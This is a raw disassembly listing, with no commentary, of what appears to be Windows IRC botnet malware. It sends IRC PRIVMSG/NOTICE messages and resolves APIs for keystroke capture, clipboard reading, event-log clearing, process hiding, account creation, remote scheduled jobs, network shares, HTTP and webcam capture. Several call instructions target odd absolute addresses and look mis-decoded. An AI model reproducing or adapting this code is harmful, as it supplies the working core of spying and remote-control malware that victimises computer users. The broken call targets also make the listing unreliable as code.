sub_409A2C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409A72 proc near ; CODE XREF: sub_401ACD+518p
; sub_401ACD+137Dp ...
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice ; "NOTICE"
jnz short loc_409A8D
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_409A8D: ; CODE XREF: sub_409A72+14j
push edi
call sub_41AFE0
push [ebp+arg_4]
mov esi, 1FAh
sub esi, eax
call sub_41AFE0
pop ecx
sub esi, eax
pop ecx
lea eax, [ebp+var_400]
push [ebp+arg_8]
push offset aS_1 ; "%s"
push esi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push edi
push offset aSSS_0 ; "%s %s :%s\r\n"
push eax
call sub_41B886
add esp, 14h
lea eax, [ebp+var_200]
push 0
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CB674
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_409B10
push 7D0h
call near ptr 2820566h
nop
locret_409B10: ; CODE XREF: sub_409A72+91j
leave
retn
sub_409A72 endp
; =============== S U B R O U T I N E =======================================
sub_409B12 proc near ; CODE XREF: ___:0040126Cp
push ebx
push ebp
mov ebp, dword_42709C
push esi
push edi
push offset aKernel32_dll ; "kernel32.dll"
call ebp
mov esi, dword_4270BC
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_409C32
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov dword_4CB6D0, eax
call esi
push offset aProcess32first ; "Process32First"
push edi
mov dword_4CB644, eax
call esi
push offset aProcess32next ; "Process32Next"
push edi
mov dword_4CB628, eax
call esi
push offset aModule32first ; "Module32First"
push edi
mov dword_4CB538, eax
call esi
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov dword_4CB4E4, eax
call esi
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov dword_4CB514, eax
call esi
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov dword_4CB58C, eax
call esi
push offset aSearchpatha ; "SearchPathA"
push edi
mov dword_4CB684, eax
call esi
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov dword_4CB6E0, eax
call esi
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov dword_4CB544, eax
call esi
cmp dword_4CB6D0, ebx
mov dword_4CB52C, eax
jz short loc_409C10
cmp dword_4CB644, ebx
jz short loc_409C10
cmp dword_4CB628, ebx
jz short loc_409C10
cmp dword_4CB538, ebx
jz short loc_409C10
cmp dword_4CB514, ebx
jz short loc_409C10
cmp dword_4CB58C, ebx
jz short loc_409C10
cmp dword_4CB684, ebx
jz short loc_409C10
cmp dword_4CB6E0, ebx
jz short loc_409C10
cmp dword_4CB544, ebx
jz short loc_409C10
cmp eax, ebx
jnz short loc_409C1A
loc_409C10: ; CODE XREF: sub_409B12+B8j
; sub_409B12+C0j ...
mov dword_4CB6E4, 1
loc_409C1A: ; CODE XREF: sub_409B12+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi
cmp eax, ebx
mov dword_4CB65C, eax
jz short loc_409C47
push 1
push ebx
call eax
jmp short loc_409C47
; ---------------------------------------------------------------------------
loc_409C32: ; CODE XREF: sub_409B12+1Dj
nop
call near ptr 2830047h
mov dword_4CB6E8, eax
mov dword_4CB6E4, 1
loc_409C47: ; CODE XREF: sub_409B12+117j
; sub_409B12+11Ej
push offset aUser32_dll ; "user32.dll"
nop
call near ptr 2850000h
mov edi, eax
cmp edi, ebx
jz loc_409D5C
push offset aSendmessagea ; "SendMessageA"
push edi
call esi
push offset aFindwindowa ; "FindWindowA"
push edi
mov dword_4CB680, eax
call esi
push offset aIswindow ; "IsWindow"
push edi
mov dword_4CB630, eax
call esi
push offset aDestroywindow ; "DestroyWindow"
push edi
mov dword_4CB5C4, eax
call esi
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov dword_4CB6D4, eax
call esi
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov dword_4CB5F4, eax
call esi
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov dword_4CB614, eax
call esi
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov dword_4CB678, eax
call esi
cmp dword_4CB680, ebx
mov dword_4CB564, eax
jz short loc_409D00
cmp dword_4CB630, ebx
jz short loc_409D00
cmp dword_4CB5C4, ebx
jz short loc_409D00
cmp dword_4CB6D4, ebx
jz short loc_409D00
cmp dword_4CB5F4, ebx
jz short loc_409D00
cmp dword_4CB614, ebx
jz short loc_409D00
cmp dword_4CB678, ebx
jz short loc_409D00
cmp eax, ebx
jnz short loc_409D0A
loc_409D00: ; CODE XREF: sub_409B12+1B8j
; sub_409B12+1C0j ...
mov dword_4CB6EC, 1
loc_409D0A: ; CODE XREF: sub_409B12+1ECj
push offset aGetasynckeysta ; "GetAsyncKeyState"
push edi
call esi
push offset aGetkeystate ; "GetKeyState"
push edi
mov dword_4CB5F0, eax
call esi
push offset aGetwindowtexta ; "GetWindowTextA"
push edi
mov dword_4CB4F8, eax
call esi
push offset aGetforegroundw ; "GetForegroundWindow"
push edi
mov dword_4CB5C0, eax
call esi
cmp dword_4CB5F0, ebx
mov dword_4CB5A8, eax
jz short loc_409D67
cmp dword_4CB4F8, ebx
jz short loc_409D67
cmp dword_4CB5C0, ebx
jz short loc_409D67
cmp eax, ebx
jnz short loc_409D71
jmp short loc_409D67
; ---------------------------------------------------------------------------
loc_409D5C: ; CODE XREF: sub_409B12+144j
nop
call near ptr 2830047h
mov dword_4CB6F0, eax
loc_409D67: ; CODE XREF: sub_409B12+232j
; sub_409B12+23Aj ...
mov dword_4CB6EC, 1
loc_409D71: ; CODE XREF: sub_409B12+246j
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_409F2A
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov dword_4CB694, eax
call esi
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov dword_4CB5D8, eax
call esi
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov dword_4CB648, eax
call esi
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov dword_4CB524, eax
call esi
push offset aRegclosekey ; "RegCloseKey"
push edi
mov dword_4CB588, eax
call esi
push offset aOpeneventloga ; "OpenEventLogA"
push edi
mov dword_4CB600, eax
call esi
push offset aCleareventloga ; "ClearEventLogA"
push edi
mov dword_4CB5A4, eax
call esi
cmp dword_4CB694, ebx
mov dword_4CB5B4, eax
jz short loc_409E1A
cmp dword_4CB5D8, ebx
jz short loc_409E1A
cmp dword_4CB648, ebx
jz short loc_409E1A
cmp dword_4CB524, ebx
jz short loc_409E1A
cmp dword_4CB588, ebx
jz short loc_409E1A
cmp dword_4CB600, ebx
jnz short loc_409E24
loc_409E1A: ; CODE XREF: sub_409B12+2DEj
; sub_409B12+2E6j ...
mov dword_4CB6F4, 1
loc_409E24: ; CODE XREF: sub_409B12+306j
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov dword_4CB608, eax
call esi
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov dword_4CB5E0, eax
call esi
cmp dword_4CB608, ebx
mov dword_4CB690, eax
jz short loc_409E5F
cmp dword_4CB5E0, ebx
jz short loc_409E5F
cmp eax, ebx
jnz short loc_409E69
loc_409E5F: ; CODE XREF: sub_409B12+33Fj
; sub_409B12+347j
mov dword_4CB6F4, 1
loc_409E69: ; CODE XREF: sub_409B12+34Bj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi
push offset aOpenservicea ; "OpenServiceA"
push edi
mov dword_4CB618, eax
call esi
push offset aStartservicea ; "StartServiceA"
push edi
mov dword_4CB500, eax
call esi
push offset aControlservice ; "ControlService"
push edi
mov dword_4CB508, eax
call esi
push offset aDeleteservice ; "DeleteService"
push edi
mov dword_4CB56C, eax
call esi
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov dword_4CB570, eax
call esi
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov dword_4CB51C, eax
call esi
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov dword_4CB5E4, eax
call esi
cmp dword_4CB618, ebx
mov dword_4CB50C, eax
jz short loc_409F0D
cmp dword_4CB500, ebx
jz short loc_409F0D
cmp dword_4CB508, ebx
jz short loc_409F0D
cmp dword_4CB56C, ebx
jz short loc_409F0D
cmp dword_4CB570, ebx
jz short loc_409F0D
cmp dword_4CB51C, ebx
jz short loc_409F0D
cmp dword_4CB5E4, ebx
jz short loc_409F0D
cmp eax, ebx
jnz short loc_409F17
loc_409F0D: ; CODE XREF: sub_409B12+3C5j
; sub_409B12+3CDj ...
mov dword_4CB6F4, 1
loc_409F17: ; CODE XREF: sub_409B12+3F9j
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi
cmp eax, ebx
mov dword_4CB504, eax
jnz short loc_409F3F
jmp short loc_409F35
; ---------------------------------------------------------------------------
loc_409F2A: ; CODE XREF: sub_409B12+26Aj
nop
call near ptr 2830047h
mov dword_4CB6F8, eax
loc_409F35: ; CODE XREF: sub_409B12+416j
mov dword_4CB6F4, 1
loc_409F3F: ; CODE XREF: sub_409B12+414j
push offset aGdi32_dll ; "gdi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A00B
push offset aCreatedca ; "CreateDCA"
push edi
call esi
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov dword_4CB610, eax
call esi
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov dword_4CB668, eax
call esi
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov dword_4CB670, eax
call esi
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov dword_4CB62C, eax
call esi
push offset aSelectobject ; "SelectObject"
push edi
mov dword_4CB548, eax
call esi
push offset aBitblt ; "BitBlt"
push edi
mov dword_4CB4F4, eax
call esi
push offset aDeletedc ; "DeleteDC"
push edi
mov dword_4CB66C, eax
call esi
push offset aDeleteobject ; "DeleteObject"
push edi
mov dword_4CB4E0, eax
call esi
cmp dword_4CB610, ebx
mov dword_4CB580, eax
jz short loc_40A016
cmp dword_4CB668, ebx
jz short loc_40A016
cmp dword_4CB670, ebx
jz short loc_40A016
cmp dword_4CB62C, ebx
jz short loc_40A016
cmp dword_4CB548, ebx
jz short loc_40A016
cmp dword_4CB4F4, ebx
jz short loc_40A016
cmp dword_4CB66C, ebx
jz short loc_40A016
cmp dword_4CB4E0, ebx
jz short loc_40A016
cmp eax, ebx
jnz short loc_40A020
jmp short loc_40A016
; ---------------------------------------------------------------------------
loc_40A00B: ; CODE XREF: sub_409B12+438j
nop
call near ptr 2830047h
mov dword_4CB700, eax
loc_40A016: ; CODE XREF: sub_409B12+4B9j
; sub_409B12+4C1j ...
mov dword_4CB6FC, 1
loc_40A020: ; CODE XREF: sub_409B12+4F5j
mov ebp, dword_4270B8
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A2DC
push offset aWsastartup ; "WSAStartup"
push edi
call esi
push offset aWsasocketa ; "WSASocketA"
push edi
mov dword_4CB594, eax
call esi
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov dword_4CB6C8, eax
call esi
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov dword_4CB534, eax
call esi
push offset aWsaioctl ; "WSAIoctl"
push edi
mov dword_4CB510, eax
call esi
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov dword_4CB5D0, eax
call esi
push offset aWsacleanup ; "WSACleanup"
push edi
mov dword_4CB5B8, eax
call esi
push offset aSocket ; "socket"
push edi
mov dword_4CB57C, eax
call esi
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov dword_4CB6A4, eax
call esi
push offset aConnect ; "connect"
push edi
mov dword_4CB6C0, eax
call esi
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov dword_4CB5CC, eax
call esi
push offset aInet_addr ; "inet_addr"
push edi
mov dword_4CB6B0, eax
call esi
push offset aHtons ; "htons"
push edi
mov dword_4CB664, eax
call esi
push offset aHtonl ; "htonl"
push edi
mov dword_4CB624, eax
call esi
push offset aNtohs ; "ntohs"
push edi
mov dword_4CB620, eax
call esi
push offset aNtohl ; "ntohl"
push edi
mov dword_4CB554, eax
call esi
push offset aSend ; "send"
push edi
mov dword_4CB54C, eax
call esi
push offset aSendto ; "sendto"
push edi
mov dword_4CB674, eax
call esi
push offset aRecv ; "recv"
push edi
mov dword_4CB688, eax
call esi
push offset aRecvfrom ; "recvfrom"
push edi
mov dword_4CB63C, eax
call esi
mov dword_4CB5FC, eax
push offset aBind ; "bind"
push edi
call esi
push offset aSelect ; "select"
push edi
mov dword_4CB650, eax
call esi
push offset aListen ; "listen"
push edi
mov dword_4CB60C, eax
call esi
push offset aAccept ; "accept"
push edi
mov dword_4CB64C, eax
call esi
push offset aSetsockopt ; "setsockopt"
push edi
mov dword_4CB6B8, eax
call esi
push offset aGetsockname ; "getsockname"
push edi
mov dword_4CB604, eax
call esi
push offset aGethostname ; "gethostname"
push edi
mov dword_4CB5C8, eax
call esi
push offset aGethostbyname ; "gethostbyname"
push edi
mov dword_4CB638, eax
call esi
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov dword_4CB6A8, eax
call esi
push offset aGetpeername ; "getpeername"
push edi
mov dword_4CB5DC, eax
call esi
push offset aClosesocket ; "closesocket"
push edi
mov dword_4CB578, eax
call esi
cmp dword_4CB594, ebx
mov dword_4CB6BC, eax
jz loc_40A2E7
cmp dword_4CB6C8, ebx
jz loc_40A2E7
cmp dword_4CB534, ebx
jz loc_40A2E7
cmp dword_4CB5D0, ebx
jz loc_40A2E7
cmp dword_4CB5B8, ebx
jz loc_40A2E7
cmp dword_4CB57C, ebx
jz loc_40A2E7
cmp dword_4CB6A4, ebx
jz loc_40A2E7
cmp dword_4CB6C0, ebx
jz loc_40A2E7
cmp dword_4CB5CC, ebx
jz loc_40A2E7
cmp dword_4CB6B0, ebx
jz loc_40A2E7
cmp dword_4CB664, ebx
jz loc_40A2E7
cmp dword_4CB624, ebx
jz loc_40A2E7
cmp dword_4CB620, ebx
jz loc_40A2E7
cmp dword_4CB554, ebx
jz short loc_40A2E7
cmp dword_4CB674, ebx
jz short loc_40A2E7
cmp dword_4CB688, ebx
jz short loc_40A2E7
cmp dword_4CB63C, ebx
jz short loc_40A2E7
cmp dword_4CB5FC, ebx
jz short loc_40A2E7
cmp dword_4CB650, ebx
jz short loc_40A2E7
cmp dword_4CB60C, ebx
jz short loc_40A2E7
cmp dword_4CB64C, ebx
jz short loc_40A2E7
cmp dword_4CB6B8, ebx
jz short loc_40A2E7
cmp dword_4CB604, ebx
jz short loc_40A2E7
cmp dword_4CB5C8, ebx
jz short loc_40A2E7
cmp dword_4CB638, ebx
jz short loc_40A2E7
cmp dword_4CB6A8, ebx
jz short loc_40A2E7
cmp dword_4CB5DC, ebx
jz short loc_40A2E7
cmp eax, ebx
jnz short loc_40A2F1
jmp short loc_40A2E7
; ---------------------------------------------------------------------------
loc_40A2DC: ; CODE XREF: sub_409B12+51Fj
call near ptr 2830047h
nop
mov dword_4CB708, eax
loc_40A2E7: ; CODE XREF: sub_409B12+6BEj
; sub_409B12+6CAj ...
mov dword_4CB704, 1
loc_40A2F1: ; CODE XREF: sub_409B12+7C6j
push offset aWininet_dll ; "wininet.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A3F6
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov dword_4CB560, eax
call esi
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov dword_4CB4E8, eax
call esi
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov dword_4CB5EC, eax
call esi
push offset aInternetconnec ; "InternetConnectA"
push edi
mov dword_4CB598, eax
call esi
push offset aInternetopena ; "InternetOpenA"
push edi
mov dword_4CB5F8, eax
call esi
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov dword_4CB5BC, eax
call esi
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov dword_4CB528, eax
call esi
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov dword_4CB520, eax
call esi
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov dword_4CB530, eax
call esi
cmp dword_4CB560, ebx
mov ecx, dword_4CB5BC
mov dword_4CB658, eax
jz short loc_40A3D2
cmp dword_4CB4E8, ebx
jz short loc_40A3D2
cmp dword_4CB5EC, ebx
jz short loc_40A3D2
cmp dword_4CB598, ebx
jz short loc_40A3D2
cmp dword_4CB5F8, ebx
jz short loc_40A3D2
cmp ecx, ebx
jz short loc_40A3D2
cmp dword_4CB528, ebx
jz short loc_40A3D2
cmp dword_4CB520, ebx
jz short loc_40A3D2
cmp dword_4CB530, ebx
jz short loc_40A3D2
cmp eax, ebx
jnz short loc_40A3DC
loc_40A3D2: ; CODE XREF: sub_409B12+87Ej
; sub_409B12+886j ...
mov dword_4CB70C, 1
loc_40A3DC: ; CODE XREF: sub_409B12+8BEj
cmp ecx, ebx
jz short loc_40A411
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx
cmp eax, ebx
mov dword_4CB5D4, eax
jnz short loc_40A411
jmp short loc_40A40B
; ---------------------------------------------------------------------------
loc_40A3F6: ; CODE XREF: sub_409B12+7EAj
nop
call near ptr 2830047h
mov dword_4CB710, eax
mov dword_4CB70C, 1
loc_40A40B: ; CODE XREF: sub_409B12+8E2j
mov dword_4CB5D4, ebx
loc_40A411: ; CODE XREF: sub_409B12+8CCj
; sub_409B12+8E0j
push offset aIcmp_dll ; "icmp.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A45B
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov dword_4CB5AC, eax
call esi
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov dword_4CB6DC, eax
call esi
cmp dword_4CB5AC, ebx
mov dword_4CB53C, eax
jz short loc_40A466
cmp dword_4CB6DC, ebx
jz short loc_40A466
cmp eax, ebx
jnz short loc_40A470
jmp short loc_40A466
; ---------------------------------------------------------------------------
loc_40A45B: ; CODE XREF: sub_409B12+90Aj
nop
call near ptr 2830047h
mov dword_4CB718, eax
loc_40A466: ; CODE XREF: sub_409B12+939j
; sub_409B12+941j ...
mov dword_4CB714, 1
loc_40A470: ; CODE XREF: sub_409B12+945j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_40A577
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi
push offset aNetsharedel ; "NetShareDel"
push edi
mov dword_4CB518, eax
call esi
push offset aNetshareenum ; "NetShareEnum"
push edi
mov dword_4CB4F0, eax
call esi
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov dword_4CB568, eax
call esi
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov dword_4CB59C, eax
call esi
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov dword_4CB6B4, eax
call esi
push offset aNetuseradd ; "NetUserAdd"
push edi
mov dword_4CB550, eax
call esi
push offset aNetuserdel ; "NetUserDel"
push edi
mov dword_4CB4FC, eax
call esi
push offset aNetuserenum ; "NetUserEnum"
push edi
mov dword_4CB4EC, eax
call esi
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov dword_4CB584, eax
call esi
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov dword_4CB67C, eax
call esi
push offset aNetwkstagetinf ; "NetWkstaGetInfo"
push edi
mov dword_4CB634, eax
call esi
cmp dword_4CB518, ebx
mov dword_4CB558, eax
jz short loc_40A582
cmp dword_4CB4F0, ebx
jz short loc_40A582
cmp dword_4CB568, ebx
jz short loc_40A582
cmp dword_4CB59C, ebx
jz short loc_40A582
cmp dword_4CB6B4, ebx
jz short loc_40A582
cmp dword_4CB550, ebx
jz short loc_40A582
cmp dword_4CB4FC, ebx
jz short loc_40A582
cmp dword_4CB4EC, ebx
jz short loc_40A582
cmp dword_4CB584, ebx
jz short loc_40A582
cmp dword_4CB67C, ebx
jz short loc_40A582
cmp dword_4CB634, ebx
jnz short loc_40A58C
jmp short loc_40A582
; ---------------------------------------------------------------------------
loc_40A577: ; CODE XREF: sub_409B12+969j
nop
call near ptr 2830047h
mov dword_4CB720, eax
loc_40A582: ; CODE XREF: sub_409B12+A11j
; sub_409B12+A19j ...
mov dword_4CB71C, 1
loc_40A58C: ; CODE XREF: sub_409B12+A61j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A5C1
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov dword_4CB540, eax
call esi
cmp dword_4CB540, ebx
mov dword_4CB61C, eax
jz short loc_40A5CC
cmp eax, ebx
jnz short loc_40A5D6
jmp short loc_40A5CC
; ---------------------------------------------------------------------------
loc_40A5C1: ; CODE XREF: sub_409B12+A85j
nop
call near ptr 2830047h
mov dword_4CB728, eax
loc_40A5CC: ; CODE XREF: sub_409B12+AA7j
; sub_409B12+AADj
mov dword_4CB724, 1
loc_40A5D6: ; CODE XREF: sub_409B12+AABj
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A60B
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov dword_4CB6A0, eax
call esi
cmp dword_4CB6A0, ebx
mov dword_4CB69C, eax
jz short loc_40A616
cmp eax, ebx
jnz short loc_40A620
jmp short loc_40A616
; ---------------------------------------------------------------------------
loc_40A60B: ; CODE XREF: sub_409B12+ACFj
nop
call near ptr 2830047h
mov dword_4CB730, eax
loc_40A616: ; CODE XREF: sub_409B12+AF1j
; sub_409B12+AF7j
mov dword_4CB72C, 1
loc_40A620: ; CODE XREF: sub_409B12+AF5j
push offset aMpr_dll ; "mpr.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A67F
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov dword_4CB6CC, eax
call esi
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov dword_4CB6C4, eax
call esi
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov dword_4CB68C, eax
call esi
cmp dword_4CB6CC, ebx
mov dword_4CB55C, eax
jz short loc_40A68A
cmp dword_4CB6C4, ebx
jz short loc_40A68A
cmp dword_4CB68C, ebx
jz short loc_40A68A
cmp eax, ebx
jnz short loc_40A694
jmp short loc_40A68A
; ---------------------------------------------------------------------------
loc_40A67F: ; CODE XREF: sub_409B12+B19j
call near ptr 2830047h
nop
mov dword_4CB738, eax
loc_40A68A: ; CODE XREF: sub_409B12+B55j
; sub_409B12+B5Dj ...
mov dword_4CB734, 1
loc_40A694: ; CODE XREF: sub_409B12+B69j
push offset aShell32_dll ; "shell32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A6C9
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov dword_4CB590, eax
call esi
cmp dword_4CB590, ebx
mov dword_4CB698, eax
jz short loc_40A6D4
cmp eax, ebx
jnz short loc_40A6DE
jmp short loc_40A6D4
; ---------------------------------------------------------------------------
loc_40A6C9: ; CODE XREF: sub_409B12+B8Dj
call near ptr 2830047h
nop
mov dword_4CB740, eax
loc_40A6D4: ; CODE XREF: sub_409B12+BAFj
; sub_409B12+BB5j
mov dword_4CB73C, 1
loc_40A6DE: ; CODE XREF: sub_409B12+BB3j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A767
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov dword_4CB660, eax
call esi
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov dword_4CB6AC, eax
call esi
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov dword_4CB5E8, eax
call esi
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov dword_4CB5A0, eax
call esi
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov dword_4CB640, eax
call esi
cmp dword_4CB660, ebx
mov dword_4CB5B0, eax
jz short loc_40A772
cmp dword_4CB6AC, ebx
jz short loc_40A772
cmp dword_4CB5E8, ebx
jz short loc_40A772
cmp dword_4CB5A0, ebx
jz short loc_40A772
cmp dword_4CB640, ebx
jz short loc_40A772
cmp eax, ebx
jnz short loc_40A77C
jmp short loc_40A772
; ---------------------------------------------------------------------------
loc_40A767: ; CODE XREF: sub_409B12+BD7j
nop
call near ptr 2830047h
mov dword_4CB748, eax
loc_40A772: ; CODE XREF: sub_409B12+C2Dj
; sub_409B12+C35j ...
mov dword_4CB744, 1
loc_40A77C: ; CODE XREF: sub_409B12+C51j
push offset aAvicap32_dll ; "avicap32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_40A7B1
push offset aCapcreatecaptu ; "capCreateCaptureWindowA"
push edi
call esi
push offset aCapgetdriverde ; "capGetDriverDescriptionA"
push edi
mov dword_4CB574, eax
call esi
cmp dword_4CB574, ebx
mov dword_4CB654, eax
jz short loc_40A7BC
cmp eax, ebx
jnz short loc_40A7C6
jmp short loc_40A7BC
; ---------------------------------------------------------------------------
loc_40A7B1: ; CODE XREF: sub_409B12+C75j
nop
call near ptr 2830047h
mov dword_4CB750, eax
loc_40A7BC: ; CODE XREF: sub_409B12+C97j
; sub_409B12+C9Dj
mov dword_4CB74C, 1
loc_40A7C6: ; CODE XREF: sub_409B12+C9Bj
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
retn
sub_409B12 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A7CE proc near ; CODE XREF: sub_401ACD+2536p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+arg_4]
push esi
xor esi, esi
cmp dword_4CB6E4, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_40A816
push dword_4CB6E8
lea eax, [ebp+var_200]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A816: ; CODE XREF: sub_40A7CE+1Aj
cmp dword_4CB6EC, esi
jz short loc_40A84A
push dword_4CB6F0
lea eax, [ebp+var_200]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A84A: ; CODE XREF: sub_40A7CE+4Ej
cmp dword_4CB6F4, esi
jz short loc_40A87E
push dword_4CB6F8
lea eax, [ebp+var_200]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A87E: ; CODE XREF: sub_40A7CE+82j
cmp dword_4CB6FC, esi
jz short loc_40A8B2
push dword_4CB700
lea eax, [ebp+var_200]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A8B2: ; CODE XREF: sub_40A7CE+B6j
cmp dword_4CB704, esi
jz short loc_40A8E6
push dword_4CB708
lea eax, [ebp+var_200]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A8E6: ; CODE XREF: sub_40A7CE+EAj
cmp dword_4CB70C, esi
jz short loc_40A91A
push dword_4CB710
lea eax, [ebp+var_200]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A91A: ; CODE XREF: sub_40A7CE+11Ej
cmp dword_4CB714, esi
jz short loc_40A94E
push dword_4CB718
lea eax, [ebp+var_200]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
